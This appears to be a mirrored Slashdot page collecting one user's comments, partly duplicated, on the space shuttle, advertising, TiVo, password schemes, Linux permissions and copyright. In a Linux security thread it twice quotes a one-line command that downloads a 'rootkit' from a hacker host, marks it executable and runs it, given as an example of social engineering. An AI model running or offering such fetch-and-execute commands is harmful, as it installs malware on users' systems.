In other words why drive somewhere to fill up a tank of gass to go somwhere else if you could have just driven straight there with the first tank of gas?
If we had more advanced atomic power technology, then we might be able to use the moon itself as fuel (or just reaction mass).
Plus, one of the reasons we don't have better atomic power is that experimentation is hazardous, and a moon lab could alleviate that.
Honestly, for when it was designed in the US, it's only so-so in terms of cost effectiveness.
And the chart only tells half the story. When the STS program came on, development on other launch vehicles slowed drastically or stopped completely.
It's rather like you're comparing 1960s rockets with a 1990s shuttle, because the shuttle is benefiting from the decades of R&D it received while expendable vehicles stagnated.
If the ELVs had gotten equal usage and investment as the STS did, then their numbers would improve to beat it across the board. And if the shuttle had only been used for those handful of missions where it's unique cargo return capability was genuinely needed, then it would look 10x as bad.
The shuttle should be seen as a test bed; they've done a lot of great research in the shuttle program
If they'd actually treated it as a test bed, instead of performing multiple annual launches for orbital busywork that hardly qualifies as scientific, then you might have a point. But the STS wasn't advertised as an experimental vehicle, but a productive platform.
No, the shuttle is so expensive because the turn around time far exceeds what was estimated when it was designed.
The only reason the turn around time is nonzero is BECAUSE it's reusable.
Another reusable craft would have to have a shorter turnaround time and generally a lower cost per kilo put in orbit,
Alienw just said that there is no reason for it to be reuasble, so why do you think "its better than other potential reusable designs" is any kind of defense?
The idea of a space ship that would have design flaws, or push the limits of their design, was not commonly entertained.
How very true! Indeed, it was because of Buck Rogers and Flash Gordon that the gargantuan design flaw named "Space Shuttle" came into being.
If those scifi serials hadn't taught a young Richard Nixon that spaceships were meant to be flown by men, we wouldn't have had this expensive albatross diverting so much money from real advancement.
The manager will give you a refund, and have to swallow the ten empty seats on opening weekend as lost potential revenue due to the blight of pre-movie commercials.
Theaters today are multiplexes, with 4+ screens. And Star Wars will be at least a minor blockbuster, with ample crowds the first day.
The manager will have little trouble finding 10 replacement viewers to buy your returned tickets, before the feature even begins. (Probably he can just offer to accept 10 tickets from the next showing into that one- with multi screens, they will be opening just 30 min apart)
I mean, if they're selling ad prices based on pairs of eyes reading the ads, why not just give the things away to ensure the most pairs?
1. The obvious reason is that every little bit of money helps.
2. The more subtle reason is the psychological phenomenon effort justification. A person who has invested some effort (such as time or money) into acquiring something will value it more highly than if the exact same thing had been acquired cheaply or for free. (Look at gold or diamonds, where the large majority of the percieved value comes only from the fact that they're hard to get).
Because readers consider a paid magazine more valuable, they will devote more attention to reading it (to get their money's worth). In turn, that makes them more likely to be see the advertisements, which increases the value of the ad space to commercial advertisers.
So, an ad in a paid newspaper is more effective than in a free one (if other factors held constant)
Just let them develop the best ad, the one we barely notice.
Then watch the advertisers struggle with each other, all fighting to place their commercials in a place designed to be "barely noticable". Oh, the rates they could charge! It'll be almost better than Coca-Cola passing out free Coke bumper stickers to their employees.
They have been doing product placement since at least the 50's.
Have you got an example? Maybe its just my unfamiliarity with 1950s product labelling, but its really hard to make any out (except in the case of automobile styling, or actors appearing "as herself")
Note that "in-show endorsements" are not the same as "product placement". I've seen many examples of the host or cast pausing the show (particularly a variety show) to talk up a certain sponsor, but that's quite different. Most importantly, the endorsements can be skipped by manual editing without damaging the viewing experience.
There is no need to keep up with software upgrades, if you do not wish to.
TiVo corporation can force you to upgrade, by changing the access procedure to the program listing info, so that older systems can no longer reach it. (Unless you've already hacked so completely that it downloads the program guide from a totally different provider, like zap2it)
The answer is almost YES, and getting closer every day. If a TiVo provides no services beyond what its competitors do, and furthermore includes user-hostile anti-features like unskippable advertisements (where online updates have actually worsened existing products), consumers will have no motivation to buy them.
TiVo was the pioneer in the DVR category (so much that the category was almost named after them), but the job it does isn't particularly hard. TV-tuner cards have been around for 10 years or more, compressing digital video is a known factor, and scheduling a computer to perform some action days or weeks in advance has been going on since before the Unix "cron" in 1979.
Soon (if not already), Microsoft Windows XP Media-Center Edition, Linux MythTv, and cable-network rebranded DVR boxes will supply all the services TiVo can do today. There will be no reason to buy TiVo anymore, except for inertia, nostalgia, or a subtle feeling that it's preference-matching code is superior.
The only question is if the TiVo corporation will have a slow death, gradually succumbing to lower-margin competition, or if their desperation pushes them to drive customers away faster with revenue boosting ideas like this.
(The only way they could survive longterm is to produce and enforce a patent claim on the DVR field)
As for TiVo, if it's just your issue with all things advertisement, don't expect sympathy.
TiVo should expect no sympathy if they stop putting their paying customers first.
So on and so forth. Just take a word or a phrase and leeticize (that's my new favorite nonce word of the day) it so it still reads more or less the same.
Since hopefully by now you've been disabused of the notion that l337izing is a wise password scheme, let me suggest a better one: think of a memorable sentence (a movie quote or some nonsense about your co-workers) and use the first letter of that word. (or first&last, or first&second, or whatever) Mnemonically, its easier to remember data chunked like that.
You obviously have no experience with linux, or are trying to trick people.
I've run nothing but Linux on my desktop PC for 7 years now.
It requires you to go into a terminal and chmod a+x to the file in question before it will execute an app like that.
Does the word "umask" mean anything to you? How about "Linspire"?
Ironically, most of them will thing "ROFL LOL Gee Lunix suxx its so hard to use lol!!!"
Right, they'll say that, and they won't buy Linux, and then a vendor who wants to sell them Linux will "solve their complaints" by setting it to be easy to do this, and the problem starts apace.
Your argument makes as much sense as suggesting that online copyright-infringement of music should be legalized because the MP3 format has too poor sound quality to compete with CDs.
I'll paste in the AC response, just because she was pretty insightful:
Wow. What a shortsighted view. Your comment is almost a troll, as you suggest that Linux should be secure by being hard to operate. This is not that far from security through obscurity, which Microsoft tends to work under. Both of these techniques are ineffective, by the way.
By the way, the example could add a chmod if required. wget http://download.hacker.com/rootkit;chmod a+x rootkit;./rootkit
But I pay for HBO and Cinemax. It's only $10 a month.
Even pretending that I believe that, HBO won't be happy that you're uploading the show to non-subscribers. (Which happens automatically as part of the bit-torrent protocol)
Please. In an information economy, if you have nothing to hide, you have nothing at all.
I suspect I could acquire a full copy of Microsoft(tm) Windows(r) XP, because the corporation that wrote it doesn't seem to be hiding it.
And yet, somehow they continue to sell... in fact, it seems there are many categories of information that remain commercially viable, even though they're not hidden at all. It's almost as if they are "intellectual property".
test the compiled binary by decoding a message by hand.
Doesn't prove that the binary isn't scanning the message for keywords first and only inserting the backdoor / weaker-encryption if "terrorism related" strings are found.
For high paranoia, experimental testing won't work- only decompiling the binary and inspecting the result gives coverage.
Stylistically, written sarcasm is easier conveyed with *asteriks* or italics than ALL CAPS. In verbal communication, more people present sarcasm with a twist of tone than with a loudness increase. "SHOUTING" is more likely to be interpreted as unironic enthusiasm (as has been twice demonstrated).
Seriously, taking a statement literally and calling someone out on it doesn't make you look any more intelligent.
You yourself appear to be opposed to the "war on drugs", so to avoid repeating their propaganda, you should never say "drugs are illegal". It's not just technically/semantically/pedantically wrong, but it's newspeak designed to make the underlying moral flaws of drug criminalization harder to communicate.
By using a phrase like "War on Some Drugs" or "Selective Prohibition", you can highlight the hypocrisy of a regime that subsidizes whiskey and impounds marijuana*.
* Technically, the USA's federal government also subsidizes marijuana, at the rate of about 800 joints per year, but they're trying to back off on it.
Stay in context. My example was very obviously about illegal drugs,
The fact that most drugs are legal makes the production, trafficing, and use of illegal ones easier. The fact that most guns are legal makes the production, trafficing, and use of illegal ones easier.
obvious by my sarcastic citation of the war on drug
That's an ineffective argument to use, except as "preaching to the choir". Obviously, almost any entity believes that its current actions are basically correct (if it possesses high self-esteem). Equating a proposed new action to something it already approves of will make it more, not less, likely to follow the new path. Only those who already disagree with drug prohibition will view the analogy as evidence that P2p should not be similarly prohibited.
The vast majority of politicians and voters see the drug war as both a success, and a necessity*. Suggesting to them that legislation to prevent copyright infringement will be equally effect will be construed as an endorsement.
* Seriously, just imagine that if on September 12, 2001, a Senator had stood up and proposed a moratorium on all arrests for drug trafficing and possession, on the grounds that it diverts patrol resources from violent threats, and creates an income stream for terrorists. The idea would've been dismissed as either "trauma-induced temporary insanity" (if the GOP likes him), or a "cynical attempt to push his pro-drug agenda by exploiting a national tradegy" (if they don't).
Slashdot Mirror
In other words why drive somewhere to fill up a tank of gass to go somwhere else if you could have just driven straight there with the first tank of gas?
If we had more advanced atomic power technology, then we might be able to use the moon itself as fuel (or just reaction mass).
Plus, one of the reasons we don't have better atomic power is that experimentation is hazardous, and a moon lab could alleviate that.
Care to inform us on step 2?
??? = the USA federal budget gives you $15,000,000,000 each year.
Honestly, for when it was designed in the US, it's only so-so in terms of cost effectiveness.
And the chart only tells half the story. When the STS program came on, development on other launch vehicles slowed drastically or stopped completely.
It's rather like you're comparing 1960s rockets with a 1990s shuttle, because the shuttle is benefiting from the decades of R&D it received while expendable vehicles stagnated.
If the ELVs had gotten equal usage and investment as the STS did, then their numbers would improve to beat it across the board. And if the shuttle had only been used for those handful of missions where it's unique cargo return capability was genuinely needed, then it would look 10x as bad.
The shuttle should be seen as a test bed; they've done a lot of great research in the shuttle program
If they'd actually treated it as a test bed, instead of performing multiple annual launches for orbital busywork that hardly qualifies as scientific, then you might have a point. But the STS wasn't advertised as an experimental vehicle, but a productive platform.
No, the shuttle is so expensive because the turn around time far exceeds what was estimated when it was designed.
The only reason the turn around time is nonzero is BECAUSE it's reusable.
Another reusable craft would have to have a shorter turnaround time and generally a lower cost per kilo put in orbit,
Alienw just said that there is no reason for it to be reuasble, so why do you think "its better than other potential reusable designs" is any kind of defense?
The idea of a space ship that would have design flaws, or push the limits of their design, was not commonly entertained.
How very true! Indeed, it was because of Buck Rogers and Flash Gordon that the gargantuan design flaw named "Space Shuttle" came into being.
If those scifi serials hadn't taught a young Richard Nixon that spaceships were meant to be flown by men, we wouldn't have had this expensive albatross diverting so much money from real advancement.
The manager will give you a refund, and have to swallow the ten empty seats on opening weekend as lost potential revenue due to the blight of pre-movie commercials.
Theaters today are multiplexes, with 4+ screens. And Star Wars will be at least a minor blockbuster, with ample crowds the first day.
The manager will have little trouble finding 10 replacement viewers to buy your returned tickets, before the feature even begins. (Probably he can just offer to accept 10 tickets from the next showing into that one- with multi screens, they will be opening just 30 min apart)
it was either the first or second 'new' Batman movie with Michael Keaton. They had an advertisement for Coke at the beginning.
Are you quite sure it was Coke? I thought he took the Batmobile for a drive-through burger.
I mean, if they're selling ad prices based on pairs of eyes reading the ads, why not just give the things away to ensure the most pairs?
1. The obvious reason is that every little bit of money helps.
2. The more subtle reason is the psychological phenomenon effort justification. A person who has invested some effort (such as time or money) into acquiring something will value it more highly than if the exact same thing had been acquired cheaply or for free. (Look at gold or diamonds, where the large majority of the percieved value comes only from the fact that they're hard to get).
Because readers consider a paid magazine more valuable, they will devote more attention to reading it (to get their money's worth). In turn, that makes them more likely to be see the advertisements, which increases the value of the ad space to commercial advertisers.
So, an ad in a paid newspaper is more effective than in a free one (if other factors held constant)
Just let them develop the best ad, the one we barely notice.
Then watch the advertisers struggle with each other, all fighting to place their commercials in a place designed to be "barely noticable". Oh, the rates they could charge! It'll be almost better than Coca-Cola passing out free Coke bumper stickers to their employees.
They have been doing product placement since at least the 50's.
Have you got an example? Maybe its just my unfamiliarity with 1950s product labelling, but its really hard to make any out (except in the case of automobile styling, or actors appearing "as herself")
Note that "in-show endorsements" are not the same as "product placement". I've seen many examples of the host or cast pausing the show (particularly a variety show) to talk up a certain sponsor, but that's quite different. Most importantly, the endorsements can be skipped by manual editing without damaging the viewing experience.
There is no need to keep up with software upgrades, if you do not wish to.
TiVo corporation can force you to upgrade, by changing the access procedure to the program listing info, so that older systems can no longer reach it. (Unless you've already hacked so completely that it downloads the program guide from a totally different provider, like zap2it)
Would you rather have no TiVo?
The answer is almost YES, and getting closer every day. If a TiVo provides no services beyond what its competitors do, and furthermore includes user-hostile anti-features like unskippable advertisements (where online updates have actually worsened existing products), consumers will have no motivation to buy them.
TiVo was the pioneer in the DVR category (so much that the category was almost named after them), but the job it does isn't particularly hard. TV-tuner cards have been around for 10 years or more, compressing digital video is a known factor, and scheduling a computer to perform some action days or weeks in advance has been going on since before the Unix "cron" in 1979.
Soon (if not already), Microsoft Windows XP Media-Center Edition, Linux MythTv, and cable-network rebranded DVR boxes will supply all the services TiVo can do today. There will be no reason to buy TiVo anymore, except for inertia, nostalgia, or a subtle feeling that it's preference-matching code is superior.
The only question is if the TiVo corporation will have a slow death, gradually succumbing to lower-margin competition, or if their desperation pushes them to drive customers away faster with revenue boosting ideas like this.
(The only way they could survive longterm is to produce and enforce a patent claim on the DVR field)
As for TiVo, if it's just your issue with all things advertisement, don't expect sympathy.
TiVo should expect no sympathy if they stop putting their paying customers first.
So on and so forth. Just take a word or a phrase and leeticize (that's my new favorite nonce word of the day) it so it still reads more or less the same.
Since hopefully by now you've been disabused of the notion that l337izing is a wise password scheme, let me suggest a better one: think of a memorable sentence (a movie quote or some nonsense about your co-workers) and use the first letter of that word. (or first&last, or first&second, or whatever) Mnemonically, its easier to remember data chunked like that.
any such technique is no safer than Sauron's Ring. In the end, it WILL betray the wielder, if relied upon.
Lies! Sauron's Ring stayed faithful to him til the end!
As the parent pointed out, you're no longer permitted to lock your baggage when you check it.
No, you're entirely permitted to lock your luggage, just as the government inspectors are permitted and equipped to destroy your locks.
I'm not saying "you're an ignorant fool" or "you're a disingenous troll", I'm leaving the option open for both.
Intelligent people can refer up this thread to see who was really trolling here... (Hint: the selectively illiterate ignoramus)
I've run nothing but Linux on my desktop PC for 7 years now.
It requires you to go into a terminal and chmod a+x to the file in question before it will execute an app like that.
Does the word "umask" mean anything to you? How about "Linspire"?
Ironically, most of them will thing "ROFL LOL Gee Lunix suxx its so hard to use lol!!!"
Right, they'll say that, and they won't buy Linux, and then a vendor who wants to sell them Linux will "solve their complaints" by setting it to be easy to do this, and the problem starts apace.
Your argument makes as much sense as suggesting that online copyright-infringement of music should be legalized because the MP3 format has too poor sound quality to compete with CDs.
I'll paste in the AC response, just because she was pretty insightful:
By the way, the example could add a chmod if required.
wget http://download.hacker.com/rootkit;chmod a+x rootkit;./rootkit
Hard drive space is cheap. And so is bandwidth.
No it isn't. There are people who run Linux on PDAs with 32 meg of storage. Doubling that might cost $500+
"DLL hell" is gone since .NET 1.1:
.NET, and non-dotnet code will no longer run? Good to know!
All Windows programs have been rewritten with
But I pay for HBO and Cinemax. It's only $10 a month.
Even pretending that I believe that, HBO won't be happy that you're uploading the show to non-subscribers. (Which happens automatically as part of the bit-torrent protocol)
Please. In an information economy, if you have nothing to hide, you have nothing at all.
I suspect I could acquire a full copy of Microsoft(tm) Windows(r) XP, because the corporation that wrote it doesn't seem to be hiding it.
And yet, somehow they continue to sell... in fact, it seems there are many categories of information that remain commercially viable, even though they're not hidden at all. It's almost as if they are "intellectual property".
test the compiled binary by decoding a message by hand.
Doesn't prove that the binary isn't scanning the message for keywords first and only inserting the backdoor / weaker-encryption if "terrorism related" strings are found.
For high paranoia, experimental testing won't work- only decompiling the binary and inspecting the result gives coverage.
You also don't get sarcasm.
Stylistically, written sarcasm is easier conveyed with *asteriks* or italics than ALL CAPS. In verbal communication, more people present sarcasm with a twist of tone than with a loudness increase. "SHOUTING" is more likely to be interpreted as unironic enthusiasm (as has been twice demonstrated).
Seriously, taking a statement literally and calling someone out on it doesn't make you look any more intelligent.
You yourself appear to be opposed to the "war on drugs", so to avoid repeating their propaganda, you should never say "drugs are illegal". It's not just technically/semantically/pedantically wrong, but it's newspeak designed to make the underlying moral flaws of drug criminalization harder to communicate.
By using a phrase like "War on Some Drugs" or "Selective Prohibition", you can highlight the hypocrisy of a regime that subsidizes whiskey and impounds marijuana*.
* Technically, the USA's federal government also subsidizes marijuana, at the rate of about 800 joints per year, but they're trying to back off on it.
Stay in context. My example was very obviously about illegal drugs,
The fact that most drugs are legal makes the production, trafficing, and use of illegal ones easier.
The fact that most guns are legal makes the production, trafficing, and use of illegal ones easier.
obvious by my sarcastic citation of the war on drug
That's an ineffective argument to use, except as "preaching to the choir". Obviously, almost any entity believes that its current actions are basically correct (if it possesses high self-esteem). Equating a proposed new action to something it already approves of will make it more, not less, likely to follow the new path. Only those who already disagree with drug prohibition will view the analogy as evidence that P2p should not be similarly prohibited.
The vast majority of politicians and voters see the drug war as both a success, and a necessity*. Suggesting to them that legislation to prevent copyright infringement will be equally effect will be construed as an endorsement.
* Seriously, just imagine that if on September 12, 2001, a Senator had stood up and proposed a moratorium on all arrests for drug trafficing and possession, on the grounds that it diverts patrol resources from violent threats, and creates an income stream for terrorists. The idea would've been dismissed as either "trauma-induced temporary insanity" (if the GOP likes him), or a "cynical attempt to push his pro-drug agenda by exploiting a national tradegy" (if they don't).